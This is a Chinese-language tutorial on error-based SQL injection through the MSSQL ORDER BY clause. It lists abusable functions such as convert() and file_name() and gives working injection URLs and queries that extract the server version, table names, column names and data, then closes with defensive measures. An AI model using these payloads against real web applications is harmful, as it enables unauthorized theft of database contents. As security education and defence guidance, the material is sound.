详解基于MSSQL “order by”语句报错的SQL注入技术
字数 882 2025-08-18 11:38:22

基于MSSQL "Order By"语句报错的SQL注入技术详解

技术背景

当用户提供的数据通过MSSQL的"Order By"语句中的值进行传递时,如果SQL查询中存在语法错误,应用程序会抛出SQL Server错误。传统基于错误的SQL注入技术在"Order By"子句中作为列名传递时无法生效,因为SQL Server已为查询预定义了一套安全规则。

核心原理

由于用户可以在Order by子句之后指定函数名称,而有些SQL Server函数可以:

  1. 执行以参数传入的查询
  2. 尝试对注入查询的结果执行操作
  3. 在操作遇到问题时抛出错误

这些函数会暴露注入SQL查询的结果,从而实现数据泄露。

可利用函数列表

以下SQL Server函数满足上述要求:

  • convert()
  • file_name()
  • db_name()
  • col_name()
  • filegroup_name()
  • object_name()
  • schema_name()
  • type_name()
  • cast()

漏洞利用演示

假设存在以下易受攻击的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

后台执行的SQL查询:

Select table_name,column_name from information_schema.columns order by column_name

1. convert()函数利用

查询SQL Server版本

攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

实际查询:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

原理:尝试将版本信息(varchar)转换为int类型导致错误

提取当前数据库表名

攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))

实际查询:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

从表中提取列名

使用十六进制表示表名:
攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

实际查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

提取表中的列数据

攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

实际查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

2. file_name()函数利用

查询SQL Server版本

攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

实际查询:

select table_name,column_name from information_schema.columns order by file_name(@@version)

提取表中的列数据

攻击URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name((select top(1) xserver_name from spt_fallback_db))

实际查询:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

防御措施

  1. 使用参数化查询而非字符串拼接
  2. 对用户输入进行严格验证和过滤
  3. 限制数据库错误信息的输出
  4. 使用最小权限原则运行数据库
  5. 对order by参数使用白名单验证

总结

这种技术利用了MSSQL特定函数在Order By子句中的行为,通过强制类型转换或其他操作引发错误,从而泄露数据库信息。防御关键在于避免直接将用户输入拼接到SQL查询中,特别是Order By这类动态排序场景。

基于MSSQL "Order By"语句报错的SQL注入技术详解 技术背景 当用户提供的数据通过MSSQL的"Order By"语句中的值进行传递时,如果SQL查询中存在语法错误,应用程序会抛出SQL Server错误。传统基于错误的SQL注入技术在"Order By"子句中作为列名传递时无法生效,因为SQL Server已为查询预定义了一套安全规则。 核心原理 由于用户可以在Order by子句之后指定函数名称,而有些SQL Server函数可以: 执行以参数传入的查询 尝试对注入查询的结果执行操作 在操作遇到问题时抛出错误 这些函数会暴露注入SQL查询的结果,从而实现数据泄露。 可利用函数列表 以下SQL Server函数满足上述要求: convert() file_name() db_name() col_name() filegroup_name() object_name() schema_name() type_name() cast() 漏洞利用演示 假设存在以下易受攻击的URL: 后台执行的SQL查询: 1. convert()函数利用 查询SQL Server版本 攻击URL: 实际查询: 原理:尝试将版本信息(varchar)转换为int类型导致错误 提取当前数据库表名 攻击URL: 实际查询: 从表中提取列名 使用十六进制表示表名: 攻击URL: 实际查询: 提取表中的列数据 攻击URL: 实际查询: 2. file_ name()函数利用 查询SQL Server版本 攻击URL: 实际查询: 提取表中的列数据 攻击URL: 实际查询: 防御措施 使用参数化查询而非字符串拼接 对用户输入进行严格验证和过滤 限制数据库错误信息的输出 使用最小权限原则运行数据库 对order by参数使用白名单验证 总结 这种技术利用了MSSQL特定函数在Order By子句中的行为,通过强制类型转换或其他操作引发错误,从而泄露数据库信息。防御关键在于避免直接将用户输入拼接到SQL查询中,特别是Order By这类动态排序场景。